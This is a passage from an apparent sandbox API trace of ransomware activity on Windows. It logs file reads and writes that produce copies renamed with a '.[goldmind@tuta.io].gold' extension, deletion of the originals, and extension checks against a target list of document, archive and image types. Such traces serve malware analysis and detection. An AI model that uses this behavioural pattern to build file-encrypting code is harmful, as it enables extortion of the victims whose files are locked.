lpNumberOfBytesWritten=0x315fc9c*=0x2c50, lpOverlapped=0x0) returned 1 [0109.591] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.591] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.591] SetEndOfFile (hFile=0x3b0) returned 1 [0109.591] CloseHandle (hObject=0x3b0) returned 1 [0109.591] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.591] SetEndOfFile (hFile=0x3c4) returned 1 [0109.592] CloseHandle (hObject=0x3c4) returned 1 [0109.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString=".doc") returned 4 [0109.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString=".docx") returned 5 [0109.618] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.618] lstrlenW (lpString=".pdf") returned 4 [0109.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString=".xls") returned 4 [0109.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.618] lstrlenW (lpString=".xlsx") returned 5 [0109.618] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.618] lstrlenW (lpString=".ppt") returned 4 [0109.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString=".zip") returned 4 [0109.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.618] lstrlenW (lpString=".rar") returned 4 [0109.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString=".bz2") returned 4 [0109.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString=".7z") returned 3 [0109.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString=".dbf") returned 4 [0109.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString=".1cd") returned 4 [0109.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString=".jpg") returned 4 [0109.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.618] lstrlenW (lpString=".doc") returned 4 [0109.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString=".docx") returned 5 [0109.618] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.618] lstrlenW (lpString=".pdf") returned 4 [0109.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.618] lstrlenW (lpString=".xls") returned 4 [0109.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.618] lstrlenW (lpString=".xlsx") returned 5 [0109.618] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.619] lstrlenW (lpString=".ppt") returned 4 [0109.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.619] lstrlenW (lpString=".zip") returned 4 [0109.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.619] lstrlenW (lpString=".rar") returned 4 [0109.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.619] lstrlenW (lpString=".bz2") returned 4 [0109.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.619] lstrlenW (lpString=".7z") returned 3 [0109.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.619] lstrlenW (lpString=".dbf") returned 4 [0109.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.619] lstrlenW (lpString=".1cd") returned 4 [0109.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0109.619] lstrlenW (lpString=".jpg") returned 4 [0109.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.619] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.619] lstrlenW (lpString="J0152558.WMF") returned 12 [0109.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.620] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=16052) returned 1 [0109.620] CloseHandle (hObject=0x394) returned 1 [0109.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 0x20 [0109.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.620] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.620] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.621] GetLastError () returned 0x0 [0109.621] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3eb4, lpOverlapped=0x0) returned 1 [0109.642] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3ec0, lpOverlapped=0x0) returned 1 [0109.642] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.642] WriteFile (in: hFile=0x38c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.642] SetEndOfFile (hFile=0x38c) returned 1 [0109.643] CloseHandle (hObject=0x38c) returned 1 [0109.643] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.643] SetEndOfFile (hFile=0x394) returned 1 [0109.644] CloseHandle (hObject=0x394) returned 1 [0109.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0109.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString=".doc") returned 4 [0109.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString=".docx") returned 5 [0109.646] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.646] lstrlenW (lpString=".pdf") returned 4 [0109.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString=".xls") returned 4 [0109.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.646] lstrlenW (lpString=".xlsx") returned 5 [0109.646] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.646] lstrlenW (lpString=".ppt") returned 4 [0109.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString=".zip") returned 4 [0109.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.646] lstrlenW (lpString=".rar") returned 4 [0109.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString=".bz2") returned 4 [0109.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString=".7z") returned 3 [0109.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString=".dbf") returned 4 [0109.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString=".1cd") returned 4 [0109.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString=".jpg") returned 4 [0109.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.646] lstrlenW (lpString=".doc") returned 4 [0109.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.646] lstrlenW (lpString=".docx") returned 5 [0109.646] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.646] lstrlenW (lpString=".pdf") returned 4 [0109.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.647] lstrlenW (lpString=".xls") returned 4 [0109.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.647] lstrlenW (lpString=".xlsx") returned 5 [0109.647] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.647] lstrlenW (lpString=".ppt") returned 4 [0109.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.647] lstrlenW (lpString=".zip") returned 4 [0109.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.647] lstrlenW (lpString=".rar") returned 4 [0109.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.647] lstrlenW (lpString=".bz2") returned 4 [0109.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.647] lstrlenW (lpString=".7z") returned 3 [0109.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.647] lstrlenW (lpString=".dbf") returned 4 [0109.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.647] lstrlenW (lpString=".1cd") returned 4 [0109.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0109.647] lstrlenW (lpString=".jpg") returned 4 [0109.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.647] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.647] lstrlenW (lpString="J0152570.WMF") returned 12 [0109.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.653] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3368) returned 1 [0109.653] CloseHandle (hObject=0x230) returned 1 [0109.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 0x20 [0109.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.656] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.656] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0109.656] GetLastError () returned 0x0 [0109.656] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xd28, lpOverlapped=0x0) returned 1 [0109.658] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xd30, lpOverlapped=0x0) returned 1 [0109.658] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.658] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.658] SetEndOfFile (hFile=0x3ac) returned 1 [0109.658] CloseHandle (hObject=0x3ac) returned 1 [0109.658] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.659] SetEndOfFile (hFile=0x230) returned 1 [0109.660] CloseHandle (hObject=0x230) returned 1 [0109.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0109.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.661] lstrlenW (lpString=".doc") returned 4 [0109.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.661] lstrlenW (lpString=".docx") returned 5 [0109.661] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.661] lstrlenW (lpString=".pdf") returned 4 [0109.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.661] lstrlenW (lpString=".xls") returned 4 [0109.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.661] lstrlenW (lpString=".xlsx") returned 5 [0109.661] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.661] lstrlenW (lpString=".ppt") returned 4 [0109.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.661] lstrlenW (lpString=".zip") returned 4 [0109.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.661] lstrlenW (lpString=".rar") returned 4 [0109.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.661] lstrlenW (lpString=".bz2") returned 4 [0109.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.661] lstrlenW (lpString=".7z") returned 3 [0109.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.661] lstrlenW (lpString=".dbf") returned 4 [0109.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.661] lstrlenW (lpString=".1cd") returned 4 [0109.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString=".jpg") returned 4 [0109.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString=".doc") returned 4 [0109.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString=".docx") returned 5 [0109.662] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.662] lstrlenW (lpString=".pdf") returned 4 [0109.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString=".xls") returned 4 [0109.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.662] lstrlenW (lpString=".xlsx") returned 5 [0109.662] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.662] lstrlenW (lpString=".ppt") returned 4 [0109.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString=".zip") returned 4 [0109.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.662] lstrlenW (lpString=".rar") returned 4 [0109.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString=".bz2") returned 4 [0109.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString=".7z") returned 3 [0109.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString=".dbf") returned 4 [0109.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString=".1cd") returned 4 [0109.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0109.662] lstrlenW (lpString=".jpg") returned 4 [0109.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.662] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.662] lstrlenW (lpString="J0152590.WMF") returned 12 [0109.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.663] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=10932) returned 1 [0109.663] CloseHandle (hObject=0x230) returned 1 [0109.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 0x20 [0109.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.663] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.663] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0109.664] GetLastError () returned 0x0 [0109.664] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2ab4, lpOverlapped=0x0) returned 1 [0109.666] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2ac0, lpOverlapped=0x0) returned 1 [0109.666] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.666] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.666] SetEndOfFile (hFile=0x3ac) returned 1 [0109.667] CloseHandle (hObject=0x3ac) returned 1 [0109.667] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.667] SetEndOfFile (hFile=0x230) returned 1 [0109.668] 